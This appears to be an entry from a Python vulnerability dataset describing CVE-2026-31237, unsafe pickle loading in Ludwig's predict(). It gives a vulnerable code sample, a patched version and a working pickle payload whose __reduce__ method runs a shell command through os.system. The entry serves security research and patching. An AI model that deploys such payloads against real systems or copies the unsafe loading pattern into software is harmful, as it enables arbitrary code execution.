CVE-2026-31237
Insecure deserialization of pickle files in Ludwig's predict() allows RCE.
- CVSS 9.8
- CWE-502
- Input Validation and Sanitization
- Remote
The Ludwig framework thru 0.10.4 is vulnerable to insecure deserialization (CWE-502) through its predict() method. When a user provides a dataset file path to the predict() method, the framework automatically determines the file format. If the file is a pickle (.pkl) file, it is loaded using pandas.read_pickle() without any validation or security restrictions. This allows the deserialization of arbitrary Python objects via the unsafe pickle module. A remote attacker can exploit this by providing a maliciously crafted pickle file, leading to arbitrary code execution on the system running the Ludwig prediction.
- CWE
- CWE-502
- CVSS base score
- 9.8
- Published
- 2026-05-12
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Ludwig
- Fixed by upgrading
- Yes
Solution
Upgrade to Ludwig version 0.10.5 or later.
Vulnerable code sample
import pandas as pd
def predict(dataset=None, **kwargs):
"""
Simplified representation of the vulnerable predict method in Ludwig.
It automatically determines file format based on the file path extension.
"""
if isinstance(dataset, str) and dataset.endswith('.pkl'):
# VULNERABILITY: pandas.read_pickle is called on a user-provided
# file path without any validation, leading to insecure deserialization.
data_df = pd.read_pickle(dataset)
elif isinstance(dataset, str) and dataset.endswith('.csv'):
# Example of handling a safe format
data_df = pd.read_csv(dataset)
else:
# Handles other cases, like an in-memory DataFrame
data_df = pd.DataFrame(dataset)
# In the actual framework, prediction logic would execute here using data_df.
# For this example, we simply return the loaded DataFrame.
return data_dfPatched code sample
import pandas as pd
import os
def load_data_securely(dataset_path: str):
"""
Represents the fixed data loading logic that would be used by the
predict() method. It prevents insecure deserialization of pickle files.
"""
file_extension = os.path.splitext(dataset_path)[1].lower()
if file_extension == ".pkl":
# The fix is to explicitly disallow the loading of pickle files,
# which are inherently insecure when from an untrusted source.
# An exception is raised instead of calling pd.read_pickle().
raise ValueError(
"For security reasons, loading data from pickle files is not "
"supported. Please use a safe format like Parquet, Feather, or CSV."
)
elif file_extension == ".csv":
# Loading of safe formats proceeds as normal.
return pd.read_csv(dataset_path)
elif file_extension == ".parquet":
return pd.read_parquet(dataset_path)
else:
# Handle other supported, safe file formats or raise an error.
raise TypeError(f"Unsupported file format: {file_extension}")Payload
import pickle
import os
class RCE:
def __reduce__(self):
cmd = 'touch /tmp/pwned'
return os.system, (cmd,)
with open('malicious.pkl', 'wb') as file:
pickle.dump(RCE(), file)
Cite this entry
@misc{vaitp:cve202631237,
title = {{Insecure deserialization of pickle files in Ludwig's predict() allows RCE.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-31237},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31237/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
